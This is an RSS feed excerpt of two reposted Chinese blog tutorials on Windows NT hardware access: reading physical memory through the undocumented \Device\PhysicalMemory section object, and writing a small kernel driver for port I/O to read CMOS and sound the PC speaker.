<img src ="http://www.cppblog.com/iniwf/aggbug/110470.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2010-03-24 18:26 <a href="http://www.cppblog.com/iniwf/archive/2010/03/24/110470.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在NT中直接访问物理内存</title><link>http://www.cppblog.com/iniwf/archive/2009/04/13/79827.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 13 Apr 2009 13:17:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/13/79827.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79827.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/13/79827.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79827.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79827.html</trackback:ping><description><![CDATA[转自<a href="http://blog.csdn.net/bhw98/archive/2003/11/13/19677.aspx">http://blog.csdn.net/bhw98/archive/2003/11/13/19677.aspx</a><br><br>
<p class=bhw98>我们知道，在NT/2K/XP中，操作系统利用虚拟内存管理技术来维护地址空间映像，每个进程分配一个4GB的虚拟地址空间。运行在用户态的应用程序，不能直接访问物理内存地址；而运行在核心态的驱动程序，能将虚拟地址空间映射为物理地址空间，从而访问物理内存地址。</p>
<p class=bhw98>如果要在应用程序中以物理地址方式访问内存，自然而然的办法，是编写一个专用的驱动程序（如大家熟悉的WinIO），里面设置一定的IOCTL码，应用程序通过调用DeviceIoCtrol()来实现这样的功能。</p>
<p class=bhw98>那么，有没有一种方法，省去编写专用驱动程序这一步，很方便地就能访问物理内存呢？答案是肯定的。实际上，微软早就给我们准备好了一套办法，只是他们秘而不宣罢了。系统内建一个叫做PhysicalMemory的内核对象，可以通过系统核心文件NTDLL.DLL中的有关API进行操纵，从而实现物理内存的直接访问。微软声称这些API是用于驱动程序开发的，在VC/.NET中未提供原型说明和库文件，然而事实证明在应用程序中调用它们是没有问题的。我们感兴趣的API主要包括：</p>
<li class=bhw98>ZwOpenSection 或 NtOpenSection - 打开内核对象
<li class=bhw98>ZwMapViewOfSection 或 NtMapViewOfSection - 映射虚拟地址空间
<li class=bhw98>ZwUnmapViewOfSection 或 NtUnmapViewOfSection - 取消地址空间映射
<li class=bhw98>RtlInitUnicodeString - 用UNICODE串初始化UNICODE描述的结构
<p class=bhw98>以下的代码描述了如何利用NTDLL.DLL中的上述几个API，实现对物理内存的读取。需要指出的是，只有system拥有读写权限，administrator只有读权限，而user连读权限都没有。这一点，是不能与专用驱动程序方法向相比的。</p>
<p class=bhw98>在VC/.NET中，由于没有相应的原型说明和库文件，我们用GetProcAddress()进行DLL显式调用。前面大段的代码，用于说明必需的类型和结构。读取物理内存的主要步骤为：打开内核对象 &#8594; 映射虚拟地址空间 &#8594; 读取(复制)内存 &#8594; 取消地址空间映射。</p>
<pre class=bhw98><code class=bhw98><span class=key>typedef</span> LONG    NTSTATUS;
<span class=key>typedef</span> <span class=key>struct</span> _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
<span class=key>typedef</span> <span class=key>enum</span> _SECTION_INHERIT
{
ViewShare = <span class=num>1</span>,
ViewUnmap = <span class=num>2</span>
} SECTION_INHERIT, *PSECTION_INHERIT;
<span class=key>typedef</span> <span class=key>struct</span> _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
<span class=key>#define</span> InitializeObjectAttributes( p, n, a, r, s ) { \
(p)-&gt;Length = <span class=key>sizeof</span>( OBJECT_ATTRIBUTES ); \
(p)-&gt;RootDirectory = r; \
(p)-&gt;Attributes = a; \
(p)-&gt;ObjectName = n; \
(p)-&gt;SecurityDescriptor = s; \
(p)-&gt;SecurityQualityOfService = NULL; \
}
<span class=rem>// Interesting functions in NTDLL</span>
<span class=key>typedef</span> NTSTATUS (WINAPI *ZwOpenSectionProc)
(
PHANDLE SectionHandle,
DWORD DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
<span class=key>typedef</span> NTSTATUS (WINAPI *ZwMapViewOfSectionProc)
(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
ULONG CommitSize,
PLARGE_INTEGER SectionOffset,
PULONG ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Protect
);
<span class=key>typedef</span> NTSTATUS (WINAPI *ZwUnmapViewOfSectionProc)
(
HANDLE ProcessHandle,
PVOID BaseAddress
);
<span class=key>typedef</span> VOID (WINAPI *RtlInitUnicodeStringProc)
(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
<span class=rem>// Global variables</span>
<span class=key>static</span> HMODULE hModule = NULL;
<span class=key>static</span> HANDLE hPhysicalMemory = NULL;
<span class=key>static</span> ZwOpenSectionProc ZwOpenSection;
<span class=key>static</span> ZwMapViewOfSectionProc ZwMapViewOfSection;
<span class=key>static</span> ZwUnmapViewOfSectionProc ZwUnmapViewOfSection;
<span class=key>static</span> RtlInitUnicodeStringProc RtlInitUnicodeString;
<span class=rem>// initialize</span>
BOOL InitPhysicalMemory()
{
<span class=key>if</span> (!(hModule = LoadLibrary(<span class=str>"ntdll.dll"</span>)))
{
<span class=key>return</span> FALSE;
}
<span class=rem>// 以下从NTDLL获取我们需要的几个函数指针</span>
<span class=key>if</span> (!(ZwOpenSection = (ZwOpenSectionProc)GetProcAddress(hModule, <span class=str>"ZwOpenSection"</span>)))
{
<span class=key>return</span> FALSE;
}
<span class=key>if</span> (!(ZwMapViewOfSection = (ZwMapViewOfSectionProc)GetProcAddress(hModule, <span class=str>"ZwMapViewOfSection"</span>)))
{
<span class=key>return</span> FALSE;
}
<span class=key>if</span> (!(ZwUnmapViewOfSection = (ZwUnmapViewOfSectionProc)GetProcAddress(hModule, <span class=str>"ZwUnmapViewOfSection"</span>)))
{
<span class=key>return</span> FALSE;
}
<span class=key>if</span> (!(RtlInitUnicodeString = (RtlInitUnicodeStringProc)GetProcAddress(hModule, <span class=str>"RtlInitUnicodeString"</span>)))
{
<span class=key>return</span> FALSE;
}
<span class=rem>// 以下打开内核对象</span>
WCHAR PhysicalMemoryName[] = L<span class=str>"\\Device\\PhysicalMemory"</span>;
UNICODE_STRING PhysicalMemoryString;
OBJECT_ATTRIBUTES attributes;
RtlInitUnicodeString(&amp;PhysicalMemoryString, PhysicalMemoryName);
InitializeObjectAttributes(&amp;attributes, &amp;PhysicalMemoryString, <span class=num>0</span>, NULL, NULL);
NTSTATUS status = ZwOpenSection(&amp;hPhysicalMemory, SECTION_MAP_READ, &amp;attributes );
<span class=key>return</span> (status &gt;= <span class=num>0</span>);
}
<span class=rem>// terminate -- free handles</span>
<span class=key>void</span> ExitPhysicalMemory()
{
<span class=key>if</span> (hPhysicalMemory != NULL)
{
CloseHandle(hPhysicalMemory);
}
<span class=key>if</span> (hModule != NULL)
{
FreeLibrary(hModule);
}
}
BOOL ReadPhysicalMemory(PVOID buffer, DWORD address, DWORD length)
{
DWORD outlen;            <span class=rem>// 输出长度，根据内存分页大小可能大于要求的长度</span>
PVOID vaddress;          <span class=rem>// 映射的虚地址</span>
NTSTATUS status;         <span class=rem>// NTDLL函数返回的状态</span>
LARGE_INTEGER base;      <span class=rem>// 物理内存地址</span>
vaddress = <span class=num>0</span>;
outlen = length;
base.QuadPart = (ULONGLONG)(address);
<span class=rem>// 映射物理内存地址到当前进程的虚地址空间</span>
status = ZwMapViewOfSection(hPhysicalMemory,
(HANDLE) <span class=num>-1</span>,
(PVOID *)&amp;vaddress,
<span class=num>0</span>,
length,
&amp;base,
&amp;outlen,
ViewShare,
<span class=num>0</span>,
PAGE_READONLY);
<span class=key>if</span> (status &lt; <span class=num>0</span>)
{
<span class=key>return</span> FALSE;
}
<span class=rem>// 当前进程的虚地址空间中，复制数据到输出缓冲区</span>
memmove(buffer, vaddress, length);
<span class=rem>// 完成访问，取消地址映射</span>
status = ZwUnmapViewOfSection((HANDLE)<span class=num>-1</span>, (PVOID)vaddress);
<span class=key>return</span> (status &gt;= <span class=num>0</span>);
}
<span class=rem>// 一个测试函数，从物理地址0xfe000开始，读取4096个字节</span>
<span class=rem>// 对于Award BIOS，可以从这段数据找到序列号等信息</span>
BOOL test()
{
UCHAR buf[<span class=num>4096</span>];
<span class=key>if</span> (!InitPhysicalMemory())
{
<span class=key>return</span> FALSE;
}
<span class=key>if</span> (!ReadPhysicalMemory(buf, <span class=num>0xfe000</span>, <span class=num>4096</span>))
{
<span class=rem>// ... 成功读取了指定数据</span>
ExitPhysicalMemory();
<span class=key>return</span> FALSE;
}
ExitPhysicalMemory();
<span class=key>return</span> TRUE;
}
</code></pre>
<p class=bhw98>补充说明一点，由于Windows虚拟内存页面大小默认是4KB，NtMapViewOfSection()返回的虚拟空间基址是按照4KB对齐的，返回的长度也是4KB的整数倍。在上面的ReadPhysicalMemory()中，认为输入的物理地址也是4KB对齐的，如果不是，需要更加全面地考虑。</p>
<p class=bhw98>&nbsp;
<h2 class=bhw98>[相关资源]</h2>
<li class=bhw98>本文Demo源码：<a href="http://www.kernelstudio.com/"><font color=#336699>Kernel Studio</font></a>
<li class=bhw98>bhw98的专栏：<a href="http://www.csdn.net/develop/author/netauthor/bhw98/"><font color=#336699>http://www.csdn.net/develop/author/netauthor/bhw98/</font></a> </li>
<img src ="http://www.cppblog.com/iniwf/aggbug/79827.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-13 21:17 <a href="http://www.cppblog.com/iniwf/archive/2009/04/13/79827.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实战DeviceIoControl 之六：访问物理端口</title><link>http://www.cppblog.com/iniwf/archive/2009/04/13/79826.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 13 Apr 2009 13:13:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/13/79826.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79826.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/13/79826.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79826.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79826.html</trackback:ping><description><![CDATA[转自<a href="http://blog.csdn.net/bhw98/archive/2003/05/26/19665.aspx">http://blog.csdn.net/bhw98/archive/2003/05/26/19665.aspx</a><br><br>
<p class=bhw98><strong class=bhw98>Q</strong> 在NT/2000/XP中，如何读取CMOS数据？
<p class=bhw98><strong class=bhw98>Q</strong> 在NT/2000/XP中，如何控制speaker发声？
<p class=bhw98><strong class=bhw98>Q</strong> 在NT/2000/XP中，如何直接访问物理端口？
<p class=bhw98><strong class=bhw98>A</strong> 看似小小问题，难倒多少好汉！
<p class=bhw98>NT/2000/XP从安全性、可靠性、稳定性上考虑，应用程序和操作系统是分开的，操作系统代码运行在核心态，有权访问系统数据和硬件，能执行特权指令；应用程序运行在用户态，能够使用的接口和访问系统数据的权限都受到严格限制。当用户程序调用系统服务时，处理器捕获该调用，然后把调用的线程切换到核心态。当系统服务完成后，操作系统将线程描述表切换回用户态，调用者继续运行。
<p class=bhw98>想在用户态应用程序中实现I/O读写，直接存取硬件，可以通过编写驱动程序，实现CreateFile、CloseHandle、 DeviceIOControl、ReadFile、WriteFile等功能。从Windows 2000开始，引入WDM核心态驱动程序的概念。
<p class=bhw98>下面是本人写的一个非常简单的驱动程序，可实现字节型端口I/O。
<pre class=bhw98><code class=bhw98><span class=key>#include</span> <span class=str>&lt;ntddk.h&gt;</span>
<span class=key>#include</span> <span class=str>"MyPort.h"</span>
<span class=rem>// 设备类型定义</span>
<span class=rem>// 0-32767被Microsoft占用，用户自定义可用32768-65535</span>
<span class=key>#define</span> FILE_DEVICE_MYPORT    <span class=num>0x0000f000</span>
<span class=rem>// I/O控制码定义</span>
<span class=rem>// 0-2047被Microsoft占用，用户自定义可用2048-4095 </span>
<span class=key>#define</span> MYPORT_IOCTL_BASE <span class=num>0xf00</span>
<span class=key>#define</span> IOCTL_MYPORT_READ_BYTE   CTL_CODE(FILE_DEVICE_MYPORT, MYPORT_IOCTL_BASE, METHOD_BUFFERED, FILE_ANY_ACCESS)
<span class=key>#define</span> IOCTL_MYPORT_WRITE_BYTE  CTL_CODE(FILE_DEVICE_MYPORT, MYPORT_IOCTL_BASE+1, METHOD_BUFFERED, FILE_ANY_ACCESS)
<span class=rem>// IOPM是65536个端口的位屏蔽矩阵，包含8192字节(8192 x 8 = 65536)</span>
<span class=rem>// 0 bit: 允许应用程序访问对应端口</span>
<span class=rem>// 1 bit: 禁止应用程序访问对应端口</span>
<span class=key>#define</span> IOPM_SIZE    <span class=num>8192</span>
<span class=key>typedef</span> UCHAR IOPM[IOPM_SIZE];
IOPM *pIOPM = NULL;
<span class=rem>// 设备名(要求以UNICODE表示)</span>
<span class=key>const</span> WCHAR NameBuffer[] = <span class=str>L"\\Device\\MyPort"</span>;
<span class=key>const</span> WCHAR DOSNameBuffer[] = <span class=str>L"\\DosDevices\\MyPort"</span>;
<span class=rem>// 这是两个在ntoskrnl.exe中的未见文档的服务例程</span>
<span class=rem>// 没有现成的已经说明它们原型的头文件，我们自己声明</span>
<span class=key>void</span> Ke386SetIoAccessMap(<span class=key>int</span>, IOPM *);
<span class=key>void</span> Ke386IoSetAccessProcess(PEPROCESS, <span class=key>int</span>);
<span class=rem>// 函数原型预先说明</span>
NTSTATUS MyPortDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
<span class=key>void</span> MyPortUnload(IN PDRIVER_OBJECT DriverObject);
<span class=rem>// 驱动程序入口，由系统自动调用，就像WIN32应用程序的WinMain</span>
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
PDEVICE_OBJECT deviceObject;
NTSTATUS status;
UNICODE_STRING uniNameString, uniDOSString;
<span class=rem>// 为IOPM分配内存</span>
pIOPM = MmAllocateNonCachedMemory(<span class=key>sizeof</span>(IOPM));
<span class=key>if</span> (pIOPM == <span class=num>0</span>)
{
<span class=key>return</span> STATUS_INSUFFICIENT_RESOURCES;
}
<span class=rem>// IOPM全部初始化为0(允许访问所有端口)</span>
RtlZeroMemory(pIOPM, <span class=key>sizeof</span>(IOPM));
<span class=rem>// 将IOPM加载到当前进程</span>
Ke386IoSetAccessProcess(PsGetCurrentProcess(), <span class=num>1</span>);
Ke386SetIoAccessMap(<span class=num>1</span>, pIOPM);
<span class=rem>// 指定驱动名字</span>
RtlInitUnicodeString(&amp;uniNameString, NameBuffer);
RtlInitUnicodeString(&amp;uniDOSString, DOSNameBuffer);
<span class=rem>// 创建设备</span>
status = IoCreateDevice(DriverObject, <span class=num>0</span>,
&amp;uniNameString,
FILE_DEVICE_MYPORT,
<span class=num>0</span>, FALSE, &amp;deviceObject);
<span class=key>if</span> (!NT_SUCCESS(status))
{
<span class=key>return</span> status;
}
<span class=rem>// 创建WIN32应用程序需要的符号连接</span>
status = IoCreateSymbolicLink (&amp;uniDOSString, &amp;uniNameString);
<span class=key>if</span> (!NT_SUCCESS(status))
{
<span class=key>return</span> status;
}
<span class=rem>// 指定驱动程序有关操作的模块入口(函数指针)</span>
<span class=rem>// 涉及以下两个模块：MyPortDispatch和MyPortUnload</span>
DriverObject-&gt;MajorFunction[IRP_MJ_CREATE]         =
DriverObject-&gt;MajorFunction[IRP_MJ_CLOSE]          =
DriverObject-&gt;MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyPortDispatch;
DriverObject-&gt;DriverUnload = MyPortUnload;
<span class=key>return</span> STATUS_SUCCESS;
}
<span class=rem>// IRP处理模块</span>
NTSTATUS MyPortDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION IrpStack;
ULONG              dwInputBufferLength;
ULONG              dwOutputBufferLength;
ULONG              dwIoControlCode;
PULONG             pvIOBuffer;
NTSTATUS           ntStatus;
<span class=rem>// 填充几个默认值</span>
Irp-&gt;IoStatus.Status = STATUS_SUCCESS;    <span class=rem>// 返回状态</span>
Irp-&gt;IoStatus.Information = <span class=num>0</span>;            <span class=rem>// 输出长度</span>
IrpStack = IoGetCurrentIrpStackLocation(Irp);
<span class=rem>// Get the pointer to the input/output buffer and it's length</span>
<span class=rem>// 输入输出共用的缓冲区</span>
<span class=rem>// 因为我们在IOCTL中指定了METHOD_BUFFERED，</span>
pvIOBuffer = Irp-&gt;AssociatedIrp.SystemBuffer;
<span class=key>switch</span> (IrpStack-&gt;MajorFunction)
{
<span class=key>case</span> IRP_MJ_CREATE:        <span class=rem>// 与WIN32应用程序中的CreateFile对应</span>
<span class=key>break</span>;
<span class=key>case</span> IRP_MJ_CLOSE:        <span class=rem>// 与WIN32应用程序中的CloseHandle对应</span>
<span class=key>break</span>;
<span class=key>case</span> IRP_MJ_DEVICE_CONTROL:        <span class=rem>// 与WIN32应用程序中的DeviceIoControl对应</span>
dwIoControlCode = IrpStack-&gt;Parameters.DeviceIoControl.IoControlCode;
<span class=key>switch</span> (dwIoControlCode)
{
<span class=rem>// 我们约定，缓冲区共两个DWORD，第一个DWORD为端口，第二个DWORD为数据</span>
<span class=rem>// 一般做法是专门定义一个结构，此处简单化处理了</span>
<span class=key>case</span> IOCTL_MYPORT_READ_BYTE:        <span class=rem>// 从端口读字节</span>
pvIOBuffer[<span class=num>1</span>] = _inp(pvIOBuffer[<span class=num>0</span>]);
Irp-&gt;IoStatus.Information = <span class=num>8</span>;  <span class=rem>// 输出长度为8</span>
<span class=key>break</span>;
<span class=key>case</span> IOCTL_MYPORT_WRITE_BYTE:       <span class=rem>// 写字节到端口</span>
_outp(pvIOBuffer[<span class=num>0</span>], pvIOBuffer[<span class=num>1</span>]);
<span class=key>break</span>;
<span class=key>default</span>:        <span class=rem>// 不支持的IOCTL</span>
Irp-&gt;IoStatus.Status = STATUS_INVALID_PARAMETER;
}
}
ntStatus = Irp-&gt;IoStatus.Status;
IoCompleteRequest (Irp, IO_NO_INCREMENT);
<span class=key>return</span> ntStatus;
}
<span class=rem>// 删除驱动</span>
<span class=key>void</span> MyPortUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING uniDOSString;
<span class=key>if</span>(pIOPM)
{
<span class=rem>// 释放IOPM占用的空间</span>
MmFreeNonCachedMemory(pIOPM, <span class=key>sizeof</span>(IOPM));
}
RtlInitUnicodeString(&amp;uniDOSString, DOSNameBuffer);
<span class=rem>// 删除符号连接和设备</span>
IoDeleteSymbolicLink (&amp;uniDOSString);
IoDeleteDevice(DriverObject-&gt;DeviceObject);
}
</code></pre>
<p class=bhw98>下面给出实现设备驱动程序的动态加载的源码。动态加载的好处是，你不用做任何添加新硬件的操作，也不用编辑注册表，更不用重新启动计算机。
<pre class=bhw98><code class=bhw98><span class=rem>// 安装驱动并启动服务</span>
<span class=rem>// lpszDriverPath:  驱动程序路径</span>
<span class=rem>// lpszServiceName: 服务名 </span>
BOOL StartDriver(LPCTSTR lpszDriverPath, LPCTSTR lpszServiceName)
{
SC_HANDLE hSCManager;        <span class=rem>// 服务控制管理器句柄</span>
SC_HANDLE hService;          <span class=rem>// 服务句柄</span>
DWORD dwLastError;           <span class=rem>// 错误码</span>
BOOL bResult = FALSE;        <span class=rem>// 返回值</span>
<span class=rem>// 打开服务控制管理器</span>
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
<span class=key>if</span> (hSCManager)
{
<span class=rem>// 创建服务</span>
hService = CreateService(hSCManager,
lpszServiceName,
lpszServiceName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
lpszDriverPath,
NULL,
NULL,
NULL,
NULL,
NULL);
<span class=key>if</span> (hService == NULL)
{
<span class=key>if</span> (::GetLastError() == ERROR_SERVICE_EXISTS)
{
hService = ::OpenService(hSCManager, lpszServiceName, SERVICE_ALL_ACCESS);
}
}
<span class=key>if</span> (hService)
{
<span class=rem>// 启动服务</span>
bResult = StartService(hService, <span class=num>0</span>, NULL);
<span class=rem>// 关闭服务句柄</span>
CloseServiceHandle(hService);
}
<span class=rem>// 关闭服务控制管理器句柄</span>
CloseServiceHandle(hSCManager);
}
<span class=key>return</span> bResult;
}
<span class=rem>// 停止服务并卸下驱动</span>
<span class=rem>// lpszServiceName: 服务名 </span>
BOOL StopDriver(LPCTSTR lpszServiceName)
{
SC_HANDLE hSCManager;        <span class=rem>// 服务控制管理器句柄</span>
SC_HANDLE hService;          <span class=rem>// 服务句柄</span>
BOOL bResult;                <span class=rem>// 返回值</span>
SERVICE_STATUS ServiceStatus;
bResult = FALSE;
<span class=rem>// 打开服务控制管理器</span>
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
<span class=key>if</span> (hSCManager)
{
<span class=rem>// 打开服务</span>
hService = OpenService(hSCManager, lpszServiceName, SERVICE_ALL_ACCESS);
<span class=key>if</span> (hService)
{
<span class=rem>// 停止服务</span>
bResult = ControlService(hService, SERVICE_CONTROL_STOP, &amp;ServiceStatus);
<span class=rem>// 删除服务</span>
bResult = bResult &amp;&amp; DeleteService(hService);
<span class=rem>// 关闭服务句柄</span>
CloseServiceHandle(hService);
}
<span class=rem>// 关闭服务控制管理器句柄</span>
CloseServiceHandle(hSCManager);
}
<span class=key>return</span> bResult;
}
</code></pre>
<p class=bhw98>应用程序实现端口I/O的接口如下：
<pre class=bhw98><code class=bhw98><span class=rem>// 全局的设备句柄</span>
HANDLE hMyPort;
<span class=rem>// 打开设备</span>
<span class=rem>// lpszDevicePath: 设备的路径</span>
HANDLE OpenDevice(LPCTSTR lpszDevicePath)
{
HANDLE hDevice;
<span class=rem>// 打开设备</span>
hDevice = ::CreateFile(lpszDevicePath,    <span class=rem>// 设备路径</span>
GENERIC_READ | GENERIC_WRITE,        <span class=rem>// 读写方式</span>
FILE_SHARE_READ | FILE_SHARE_WRITE,  <span class=rem>// 共享方式</span>
NULL,                    <span class=rem>// 默认的安全描述符</span>
OPEN_EXISTING,           <span class=rem>// 创建方式</span>
<span class=num>0</span>,                       <span class=rem>// 不需设置文件属性</span>
NULL);                   <span class=rem>// 不需参照模板文件</span>
<span class=key>return</span> hDevice;
}
<span class=rem>// 打开端口驱动</span>
BOOL OpenMyPort()
{
BOOL bResult;
<span class=rem>// 设备名为"MyPort"，驱动程序位于Windows的"system32\drivers"目录中</span>
bResult = StartDriver(<span class=str>"system32\\drivers\\MyPort.sys"</span>, <span class=str>"MyPort"</span>);
<span class=rem>// 设备路径为"\\.\MyPort"</span>
<span class=key>if</span> (bResult)
{
hMyPort = OpenDevice(<span class=str>"\\\\.\\MyPort"</span>);
}
<span class=key>return</span> (bResult &amp;&amp; (hMyPort != INVALID_HANDLE_VALUE));
}
<span class=rem>// 关闭端口驱动</span>
BOOL CloseMyPort()
{
<span class=key>return</span> (CloseHandle(hMyPort) &amp;&amp; StopDriver(<span class=str>"MyPort"</span>));
}
<span class=rem>// 从指定端口读一个字节</span>
<span class=rem>// port: 端口</span>
BYTE ReadPortByte(WORD port)
{
DWORD buf[<span class=num>2</span>];            <span class=rem>// 输入输出缓冲区            </span>
DWORD dwOutBytes;        <span class=rem>// IOCTL输出数据长度</span>
buf[<span class=num>0</span>] = port;           <span class=rem>// 第一个DWORD是端口</span>
<span class=rem>//  buf[1] = 0;              // 第二个DWORD是数据</span>
<span class=rem>// 用IOCTL_MYPORT_READ_BYTE读端口</span>
::DeviceIoControl(hMyPort,   <span class=rem>// 设备句柄</span>
IOCTL_MYPORT_READ_BYTE,  <span class=rem>// 取设备属性信息</span>
buf, <span class=key>sizeof</span>(buf),        <span class=rem>// 输入数据缓冲区</span>
buf, <span class=key>sizeof</span>(buf),        <span class=rem>// 输出数据缓冲区</span>
&amp;dwOutBytes,             <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);     <span class=rem>// 用同步I/O    </span>
<span class=key>return</span> (BYTE)buf[<span class=num>1</span>];
}
<span class=rem>// 将一个字节写到指定端口</span>
<span class=rem>// port: 端口</span>
<span class=rem>// data: 字节数据</span>
<span class=key>void</span> WritePortByte(WORD port, BYTE data)
{
DWORD buf[<span class=num>2</span>];            <span class=rem>// 输入输出缓冲区            </span>
DWORD dwOutBytes;        <span class=rem>// IOCTL输出数据长度</span>
buf[<span class=num>0</span>] = port;           <span class=rem>// 第一个DWORD是端口</span>
buf[<span class=num>1</span>] = data;           <span class=rem>// 第二个DWORD是数据</span>
<span class=rem>// 用IOCTL_MYPORT_WRITE_BYTE写端口</span>
::DeviceIoControl(hMyPort,   <span class=rem>// 设备句柄</span>
IOCTL_MYPORT_WRITE_BYTE, <span class=rem>// 取设备属性信息</span>
buf, <span class=key>sizeof</span>(buf),        <span class=rem>// 输入数据缓冲区</span>
buf, <span class=key>sizeof</span>(buf),        <span class=rem>// 输出数据缓冲区</span>
&amp;dwOutBytes,             <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);     <span class=rem>// 用同步I/O</span>
}
</code></pre>
<p class=bhw98>有了ReadPortByte和WritePortByte这两个函数，我们就能很容易地操纵CMOS和speaker了(关于CMOS值的含义以及定时器寄存器定义，请参考相应的硬件资料)：
<pre class=bhw98><code class=bhw98><span class=rem>// 0x70是CMOS索引端口(只写)</span>
<span class=rem>// 0x71是CMOS数据端口</span>
BYTE ReadCmos(BYTE index)
{
BYTE data;
::WritePortByte(<span class=num>0x70</span>, index);
data = ::ReadPortByte(<span class=num>0x71</span>);
<span class=key>return</span> data;
}
<span class=rem>// 0x61是speaker控制端口</span>
<span class=rem>// 0x43是8253/8254定时器控制端口</span>
<span class=rem>// 0x42是8253/8254定时器通道2的端口</span>
<span class=key>void</span> Sound(DWORD freq)
{
BYTE data;
<span class=key>if</span> ((freq &gt;= <span class=num>20</span>) &amp;&amp; (freq &lt;= <span class=num>20000</span>))
{
freq = <span class=num>1193181</span> / freq;
data = ::ReadPortByte(<span class=num>0x61</span>);
<span class=key>if</span> ((data &amp; <span class=num>3</span>) == <span class=num>0</span>)
{
::WritePortByte(<span class=num>0x61</span>, data | <span class=num>3</span>);
::WritePortByte(<span class=num>0x43</span>, <span class=num>0xb6</span>);
}
::WritePortByte(<span class=num>0x42</span>, (BYTE)(freq % <span class=num>256</span>));
::WritePortByte(<span class=num>0x42</span>, (BYTE)(freq / <span class=num>256</span>));
}
}
<span class=key>void</span> NoSound(<span class=key>void</span>)
{
BYTE data;
data = ::ReadPortByte(<span class=num>0x61</span>);
::WritePortByte(<span class=num>0x61</span>, data &amp; <span class=num>0xfc</span>);
}
</code></pre>
<pre class=bhw98><code class=bhw98>
<span class=rem>// 以下读出CMOS 128个字节</span>
<span class=key>for</span> (<span class=key>int</span> i = <span class=num>0</span>; i &lt; <span class=num>128</span>; i++)
{
BYTE data = ::ReadCmos(i);
... ...
}
<span class=rem>// 以下用C调演奏&#8220;多-来-米&#8221;</span>
<span class=rem>// 1 = 262 Hz</span>
::Sound(<span class=num>262</span>);
::Sleep(<span class=num>200</span>);
::NoSound();
<span class=rem>// 2 = 288 Hz</span>
::Sound(<span class=num>288</span>);
::Sleep(<span class=num>200</span>);
::NoSound();
<span class=rem>// 3 = 320 Hz</span>
::Sound(<span class=num>320</span>);
::Sleep(<span class=num>200</span>);
::NoSound();
</code></pre>
<p class=bhw98><strong class=bhw98>Q</strong> 就是个简单的端口I/O，这么麻烦才能实现，搞得俺头脑稀昏，有没有简洁明了的办法啊？
<p class=bhw98><strong class=bhw98>A</strong> 上面的例子，之所以从编写驱动程序，到安装驱动，到启动服务，到打开设备，到访问设备，一直到读写端口，这样一路下来，是为了揭示在NT/2000/XP中硬件访问技术的本质。假如将所有过程封装起来，只提供OpenMyPort, CloseMyPort, ReadPortByte, WritePortByte甚至更高层的ReadCmos、WriteCmos、Sound、NoSound给你调用，是不是会感觉清爽许多？
<p class=bhw98>实际上，我们平常做的基于一定硬件的二次开发，一般会先安装驱动程序(DRV)和用户接口的运行库(DLL)，然后在此基础上开发出我们的应用程序(APP)。DRV、DLL、APP三者分别运行在核心态、核心态/用户态联络带、用户态。比如买了一块图象采集卡，要先安装核心驱动，它的&#8220;Development Tool Kit&#8221;，提供类似于PCV_Initialize, PCV_Capture等的API，就是扮演核心态和用户态联络员的角色。我们根本不需要CreateFile、CloseHandle、 DeviceIOControl、ReadFile、WriteFile等较低层次的直接调用。
<p class=bhw98>Yariv Kaplan写过一个WinIO的例子，能实现对物理端口和内存的访问，提供了DRV、DLL、APP三方面的源码，有兴趣的话可以深入研究一下。
<h2 class=bhw98>[相关资源]</h2>
<li class=bhw98>本文驱动程序源码：<a href="http://www.csdn.net/develop/author/bhw98/MyPort.zip"><font color=#336699>MyPort.zip</font></a> (3KB, 编译环境: VC6+2000DDK)
<li class=bhw98>本文应用程序源码：<a href="http://www.csdn.net/develop/author/bhw98/MyPortIo.zip"><font color=#336699>MyPortIo.zip</font></a> (22KB, 文件MyPort.sys需复制到windows的system32\drivers目录中)
<li class=bhw98>Yariv Kaplan的主页：<a href="http://www.internals.com/"><font color=#336699>http://www.internals.com</font></a>
